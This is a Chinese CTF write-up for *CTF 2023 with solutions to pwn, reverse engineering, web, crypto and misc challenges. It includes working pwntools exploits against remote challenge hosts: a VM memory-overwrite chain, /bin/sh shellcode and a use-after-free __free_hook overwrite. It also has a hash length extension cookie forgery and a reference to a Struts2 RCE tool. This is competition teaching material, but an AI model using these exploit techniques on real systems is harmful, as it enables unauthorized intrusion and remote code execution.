PWN
stvram
程序结构体如下:
00000000 vm struc ; (sizeof=0x80, mappedto_9)
00000000 code dq ? ; offset
00000008 code_end dq ? ; offset
00000010 field_10 dq ?
00000018 vector vector ?
00000030 field_30 dq ?
00000038 regs dd 14 dup(?)
00000070 mem dq ? ; offset
00000078 field_78 dd ?
0000007C field_7C dd ?
00000080 vm ends
00000080
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vector struc ; (sizeof=0x18, mappedto_13) ; XREF: vm/r
00000000 _M_start dq ? ; offset
00000008 _M_finish dq ? ; offset
00000010 _M_end_of_storage dq ?
00000018 vector ends
10功能号可以修改到vm->mem
实现任意地址读写。
unsigned __int64 __fastcall run_vm(vm *a1)
{
...
case 10:
v38 = v2;
++code;
v2 += 2;
a1->regs[a1->vector._M_start[v38]] = a1->vector._M_start[v38 + 1];
break;
...
}
利用脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('61.147.171.105', 53185)
cmd = [10, 6, 10, 3, 7, 10, 10, 7, 7, 10, 10, 10, 7, 7, 7, 10, 6]
sh.sendlineafter(b'command:n', ' '.join([str(v) for v in cmd]).encode() + b' 16')
cost = [14, 0x404020, # 10
0, 0, # 6
1, 0x30910, # 10
0, 1, # 3
0, 0, # 7
14, 0x404070, # 10
0, 0x401270, # 10
0, 0, # 7
2, 1, # 7
14, 0x4040D0, # 10
0, 0x4040D8, # 10
1, 0x6873, # 10
0, 0, # 7
2, 1, # 7
1, 2, # 7
14, 0, # 10
0, 0, # 6
0xdeadbeef]
sh.sendlineafter(b'your cost:n', 'n'.join([str(v) for v in cost]).encode())
sh.interactive()
fcalc
数组溢出,恰好可以执行shellcode。
/*
.bss:0000000000004060 ; __int64 func_table[]
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+func_table dq 10h dup(?) ; DATA XREF: sub_1384+69↑w
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; main+2B7↑o
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; sub_1384+77↑w
.bss:00000000000040E0 ; double *shellcode
.bss:00000000000040E0 ?? ?? ?? ?? ?? ?? ?? ?? shellcode dq ?
*/
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
...
if ( buf[i] <= 0x20 || buf[i] > 0x30 )
{
...
}
else
{
...
// .text:000000000000187A FF D0 call rax
((void (*)(void))func_table[buf[i] - 0x20])();
}
...
}
利用代码
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('61.147.171.105', 63236)
shellcode = asm('''
xor rsi, rsi
mul rsi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall
''')
sh.sendafter(b'Enter your expression:n', b'1 1 0 '.ljust(0x10, b'0') + shellcode.ljust(0x40, b'0') + p64(0x3ff000000000beeb))
sh.interactive()
drop
只是粗略看下来源代码,发现没有 delete 功能,后来通过 gdb 调试发现
新创建的堆块的指针都是放在堆块上的
并且申请的堆块大小是根据字符串长度决定的。其中的 bubble 功能可以实现排序的功能,存在堆块的 free 操作,并且还是 UAF 漏洞,于是利用这个去 leak libc_base 和 打 free_hook
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))
l64 = lambda :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = remote('122.9.157.7', 50001)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(data):
sla(b'choice: n', b'1')
sla(b'item: n', data)
def show(idx):
sla(b'choice: n', b'2')
sla(b'Index: n', str(idx))
def edit(idx, data):
sla(b'choice: n', b'3')
sla(b'Index: n', str(idx))
sla(b'content: n', data)
def free(idx):
sla(b'choice: n', b'5')
sla(b'Index: n', str(idx))
def magic(n, idx):
sla(b'choice: n', b'4')
sla(b'is East)n', str(n))
sla(b'index: n', str(idx))
add(b'x04'*0x300)
add(b'x03'*0x500)
add(b'x01'*0x100)
magic(1, 1)
show(2)
libc_base = l64() - 0x70 - libc.sym['__malloc_hook']
system, binsh = get_sb()
free_hook = libc_base + libc.sym['__free_hook']
add(b'x04'*0x100)
add(b'x03'*0x100)
add(b'x05'*0x100)
magic(1, 3)
edit(5, p64(free_hook - 8) + p64(0))
add(b'a'*0x100)
payload = b'/bin/shx00' + p64(system)
payload = payload.ljust(0x100, b'a')
add(payload)
lg('libc_base', libc_base)
inter()
RE
flagfile
union VALUETYPE {
uint8_t b;
uint16_t h;
uint32_t l;
uint64_t q;
uint8_t hs[2]; /* 2 bytes of a fixed-endian "short" */
uint8_t hl[4]; /* 4 bytes of a fixed-endian "long" */
uint8_t hq[8]; /* 8 bytes of a fixed-endian "quad" */
char s[MAXstring]; /* the search string or regex pattern */
unsigned char us[MAXstring];
uint64_t guid[2];
float f;
double d;
};
struct magic {
/* Word 1 */
uint16_t cont_level; /* level of ">" */
uint8_t flag;
for top-level tests) */
uint8_t factor;
/* Word 2 */
uint8_t reln; /* relation (0=eq, '>'=gt, etc) */
uint8_t vallen; /* length of string value, if any */
uint8_t type; /* comparison type (FILE_*) */
uint8_t in_type; /* type of indirection */
((t) == FILE_STRING ||
(t) == FILE_PSTRING ||
(t) == FILE_BESTRING16 ||
(t) == FILE_LESTRING16 ||
(t) == FILE_REGEX ||
(t) == FILE_SEARCH ||
(t) == FILE_INDIRECT ||
(t) == FILE_NAME ||
(t) == FILE_USE)
/* Word 3 */
uint8_t in_op; /* operator for indirection */
uint8_t mask_op; /* operator for mask */
uint8_t cond; /* conditional type */
uint8_t dummy;
uint8_t factor_op;
/* Word 4 */
int32_t offset; /* offset to magic number */
/* Word 5 */
int32_t in_offset; /* offset from indirection */
/* Word 6 */
uint32_t lineno; /* line number in magic file */
/* Word 7,8 */
union {
uint64_t _mask; /* for use with numeric and date types */
struct {
uint32_t _count; /* repeat/line count */
uint32_t _flags; /* modifier flags */
} _s; /* for use with string types */
} _u;
/* Words 9-24 */
union VALUETYPE value; /* either number or string */
/* Words 25-40 */
char desc[MAXDESC]; /* description */
/* Words 41-60 */
char mimetype[MAXMIME]; /* MIME type */
/* Words 61-62 */
char apple[8]; /* APPLE CREATOR/TYPE */
/* Words 63-78 */
char ext[64]; /* Popular extensions */
};
int main(int argc, char *argv[])
{
int ffff = 0;
char buf[10000];
int fd = open("flag.mgc", 0);
read(fd, buf, 0x170 + 8);
struct magic a[100];
int index = 0;
long long test[1000];
memset(test, 0, 1000);
char flag[100];
while (read(fd, &a[index], sizeof(struct magic)) > 0)
{
index += 1;
}
for (int i = 0; i < index; i++)
{
struct magic temp = a[i];
printf("lineno: %dn", temp.lineno);
printf("type: %dn", temp.type);
printf("reln: %cn", temp.reln);
printf("in_offset: %dn", temp.in_offset);
if (((int)(temp.type)) == 1)
{
ffff = (temp.offset - 63) / 2 + 1;
printf("offset: %dn", (test[ffff]));
char ttt = ((temp.value.b) & 0xff) ^ ((temp._u._mask) & 0xff);
flag[test[ffff]] = ttt;
}
else
{
printf("offset: %dn", temp.offset);
}
printf("b: %llxn", temp.value.b);
printf("q: %llxn", temp.value.q);
printf("_mask: %llxn", temp._u._mask);
printf("mask_op: %llxn", temp.mask_op);
printf("in_op: %llxn", temp.in_op);
long long tes = temp._u._mask ^ temp.value.q;
test[i] = tes;
if (temp.offset < 64)
{
printf("aaaa!!!!!!!!!!!!!n");
}
printf("n=======================n");
}
for (int i = 0; i < index; i++)
{
printf("%llx,", test[i]);
}
printf("nnn");
for (int i = 0; i < 40; i++)
{
printf("%c", flag[i]);
}
}
GoGpt
GO逆向
异或+base64
xorkey=[ord(i) for i in "TcR@3t_3hp_5_G1H"]
enc=[0x7e,0x20,0x06,0x06,0x48,0x17,0x37,0x73,0x1c,0x17,0x2f,0x61,0x00,0x74,0x5f,0x0b,0x06,0x1a,0x22,0x34,0x02,0x44,0x31,0x6c,0x5c,0x2f,0x19,0x60,0x11,0x66,0x10,0x35]
for i in range(len(enc)):
enc[i]^=xorkey[i%16]
print(bytes(enc))
ez_code
把文件后缀改成.ps1,使用ISE调试
输入代码然其解析
class chiper():
def __init__(self):
self.d = 0x87654321
k0 = 0x67452301
k1 = 0xefcdab89
k2 = 0x98badcfe
k3 = 0x10325476
self.k = [k0, k1, k2, k3]
def e(self, n, v):
from ctypes import c_uint32
def MX(z, y, total, key, p, e):
temp1 = (z.value >> 6 ^ y.value << 4) +
(y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) +
(key[(p & 3) ^ e.value] ^ z.value)
return c_uint32(temp1 ^ temp2)
key = self.k
delta = self.d
rounds = 6 + 52//n
total = c_uint32(0)
z = c_uint32(v[n-1])
e = c_uint32(0)
while rounds > 0:
total.value += delta
e.value = (total.value >> 2) & 3
for p in range(n-1):
y = c_uint32(v[p+1])
v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value
z.value = v[p]
y = c_uint32(v[0])
v[n-1] = c_uint32(v[n-1] + MX(z, y, total,
key, n-1, e).value).value
z.value = v[n-1]
rounds -= 1
return v
def bytes2ints(self,cs:bytes)->list:
new_length=len(cs)+(8-len(cs)%8)%8
barray=cs.ljust(new_length,b'x00')
i=0
v=[]
while i < new_length:
v0 = int.from_bytes(barray[i:i+4], 'little')
v1 = int.from_bytes(barray[i+4:i+8], 'little')
v.append(v0)
v.append(v1)
i += 8
return v
def check(instr:str,checklist:list)->int:
length=len(instr)
if length%8:
print("Incorrect format.")
exit(1)
c=chiper()
v = c.bytes2ints(instr.encode())
output=list(c.e(len(v),v))
i=0
while(i<len(checklist)):
if i<len(output) and output[i]==checklist[i]:
i+=1
else:
break
if i==len(checklist):
return 1
return 0
if __name__=="__main__":
ans=[1374278842, 2136006540, 4191056815, 3248881376]
# generateRes()
flag=input('Please input flag:')
res=check(flag,ans)
if res:
print("Congratulations, you've got the flag!")
print("Flag is *ctf{your_input}!")
exit(0)
else:
print('Nope,try again!')
void btea(uint32_t* v, int n, uint32_t key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
int main()
{
uint32_t enc[] = { 1374278842, 2136006540, 4191056815, 3248881376,0 };
uint32_t k[4] = { 1732584193, 4023233417, 2562383102, 271733878 };
btea((uint32_t*)(&enc), -4, k);
puts((char*)enc);
//yOUar3g0oD@tPw5H
}
WEB
jwt2struts
<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}
不能直接拼接adminroot,这里可以打一个哈希长度扩展攻击。
知道salt和adminroot拼接后的md5值,可以把拼接后的字符串当成salt。
https://github.com/JoyChou93/md5-extension-attack
使用这个脚本
python2 md5pad.py e6ccbf12de9d33ec27a5bcfb6a3293df 111 23
POST:
username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%00%00%00%00%00%00%00111
cookies
digest=20b64bad6dfd095d5d7b14d5a6661795
拿到密钥
sk-he00lctf3r
伪造admin以后,跳转到一个登陆页面
根据提示,得知是struts2漏洞。
这里可以直接使用脚本进行rce。
java -jar .struts2_poc.jar
CRYPTO
ezCrypto
遍历得到rseed,根据题目反推出flag
import random
import string
rseed = 0
characters = string.printable[:-6]
for rseed in range(0, 1001):
random.seed(rseed)
random_sequence = random.sample(characters, len(characters))
map_string1 = ''.join(random_sequence)
random.seed(rseed * 2)
random_sequence = random.sample(characters, len(characters))
map_string2 = ''.join(random_sequence)
if map_string2[:10] == '8K#Ttr@&5=':
print('rseed =', rseed)
break
random.seed(rseed * 3)
random_sequence = random.sample(characters, len(characters))
map_string3 = ''.join(random_sequence)
def re_xor(c, a, index: int):
return chr(((ord(a) + index) ^ ord(c)) - index)
cipher = "edT0O<jmZ`aP,>3/LZALI]~S=}NP=7zY"
for i in range(0, len(cipher), 2):
hou = cipher[:-i]
hou = ''.join([map_string3[map_string1.index(h)] for h in hou])
hou = ''.join([map_string3[map_string2.index(h)] for h in hou])
if hou and hou[-1] in string.digits:
qian = cipher[-i:]
qian = ''.join([map_string3[map_string2.index(q)] for q in qian])
qian1 = qian[:len(qian)//2]
qian2 = ''.join([map_string3[map_string1.index(q)] for q in qian[len(qian)//2:]])
if qian1 == qian2:
qian = qian1
print(hou)
print(qian)
qian11 = qian[:(len(qian)-2)//2]
qian22 = qian[-(len(qian) - 2) // 2-1:-1]
print(qian11)
print(qian22)
for c in characters:
index = 2
qian_ = ''
qian_ += c
try:
for x in qian11:
qian_ += re_xor(x, qian_[-1], index)
if all([y in string.ascii_letters+string.digits for y in qian_]):
print(qian_+'3')
except:
continue
for c in characters:
index = 1
qian_ = ''
qian_ += c
try:
for x in qian22:
qian_ += re_xor(x, qian_[-1], index)
if all([y in string.ascii_letters+string.digits for y in qian_]):
print(qian_+'0')
except:
continue
print()
# cR7PtO5 ln4 s0m32 F1nD1
# ~F3&)0
# F4n3TrY0
MISC
dead game
直接游戏玩通关即可
但这是一个fakeflag
通过三个碎片的拼接和fakeflag
尝试猜出flag
最终得到flag:*CTF{80867_K1115_81!zZ@Rd}
an old language
题目
题解
首先百度识图,可以找到类似的字体
点击可以看到相关字体介绍
字母表如下:
flag为*ctf{GIKRVZY}大写
snippingTools
这道题是关于最近发现的一个windows漏洞
https://www.tenable.com/plugins/nessus/177217
可以修复使用snippingTools裁剪过后的截图。
开始读题:
题目上说,Bob马上就恢复了图片,那就证明这道题一定是有工具能一把梭的,于是重心放在找工具上面
最后工具地址:
https://github.com/frankthetank-music/Acropalypse-Multi-Tool
然后再按照readme一步一步地配环境
就可以得到最后的flag:
得到flag
Increasing
一个简单的网络,按要求输入模型参数,使得第i个模型能将输入预测为i+1,写一个循环脚本,对第i个输入和输出进行训练,保存模型参数,大概跑50分钟,就能出来180个对应的模型,再转化为相应格式|分割模型,#分割参数,逗号分割参数索引和值。
按照这个思路跑出所有数的预测模型参数
import torch
import torch.nn as nn
import torch.optim as optim
import torch
from torch.nn import init
import torch.nn as nn
from copy import deepcopy
import math
model_num=181
def Net2Init(tmpnet):
for key in tmpnet.state_dict():
if('weight' in key):
init.zeros_(tmpnet.state_dict()[key])
else:
tmpnet.state_dict()[key][...] = 0
return tmpnet
def max_label(t):
labellist = t.tolist()[0]
maxnum = -10000
loc = 0
for j in range(len(labellist)):
if (maxnum < labellist[j]):
loc = j
maxnum = labellist[j]
return loc
class EasyNet(nn.Module):
def __init__(self):
super(EasyNet, self).__init__()
self.norm=nn.Softmax()
self.filter=nn.Linear(1,2)
self.bypass = nn.Linear(2,model_num,bias=False)
def forward(self, x):
x=self.filter(x)
x=self.bypass(x)
x=self.norm(x)
return x
res = []
i = 0
while(i < 181):
namelist=['filter.weight', 'filter.bias', 'bypass.weight']
weightlist=[]
net=EasyNet()
mydict=net.state_dict()
net=Net2Init(net)
for i1 in range(len(namelist)):
weightlist.append(mydict[namelist[i1]].tolist())
# 定义训练数据和标签
inputs = torch.tensor([i * 1.0]).reshape([1, 1]) # 输入数据
ss = [0.0 for i2 in range(181)]
ss[i+1] = 1.0
labels = torch.tensor([ss]) # 标签
# 创建模型实例
net = EasyNet()
# 定义损失函数和优化器
criterion = nn.MSELoss()
optimizer = optim.SGD(net.parameters(), lr=0.001)
# 进行训练
for epoch in range(1000):
# 清空梯度
optimizer.zero_grad()
# 前向传播
outputs = net(inputs)
# 计算损失
loss = criterion(outputs, labels)
# 反向传播和优化
loss.backward()
optimizer.step()
# 测试模型
tmp_input = torch.tensor([i * 1.0]).reshape([1, 1]) # 输入数据
prediction = net(tmp_input) # 预测结果
# 判断是否满足要求,max_label(net(tmp_input)) == i+1
if max_label(prediction) == i+1:
ss = ''
filter_weight = net.state_dict()['filter.weight']
a = 0
c = 0
for b in range(2):
d = round(float(filter_weight[b][c]),4)
ss += f"{a},{b},{c},{d}#"
filter_bias = net.state_dict()['filter.bias']
a = 1
for b in range(2):
c = round(float(filter_bias[b]),4)
ss += f"{a},{b},{c}#"
bypass_weight = net.state_dict()['bypass.weight']
a = 2
for b in range(181):
for c in range(2):
d = round(float(bypass_weight[b][c]),5)
ss += f"{a},{b},{c},{d}#"
res.append(ss)
print(f"{i+1}done!")
i += 1
with open('res.txt','w') as f:
mmm = ''
for m in res:
mmm += m[:-1]
mmm += '|'
f.write(mmm)
from pwn import *
p = remote('122.9.155.47',50001)
with open('res.txt','r') as f:
im = f.read()
p.sendline(im[:-1])
p.interactive()
MWM
根据提示,把模型所有的参数都乘上256转成字符
搜索copy字符找到
import torch
import torchvision.models as models
# 加载ResNet-50模型
model = torch.load('resnet_mwm_new.pth')
# 将模型的所有参数乘以256
for param in model.parameters():
param.data *= 256
# 将参数转换为字符,并保存到列表中
param_str_list = []
for param in model.parameters():
param_cpu = param.detach().cpu()
param_np = param_cpu.numpy()
param_str = ' '.join([chr(int(val)&0xff) for val in param_np.flatten()])
param_str_list.append(param_str)
# 将参数字符串拼接成一个字符串
param_str = "n".join(param_str_list)
# 保存参数字符串到文件,使用UTF-8编码
with open('res.txt', 'w', encoding='utf-8') as f:
f.write(param_str)
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
原文始发于微信公众号(星盟安全):*CTF 2023 Writeup -Polaris战队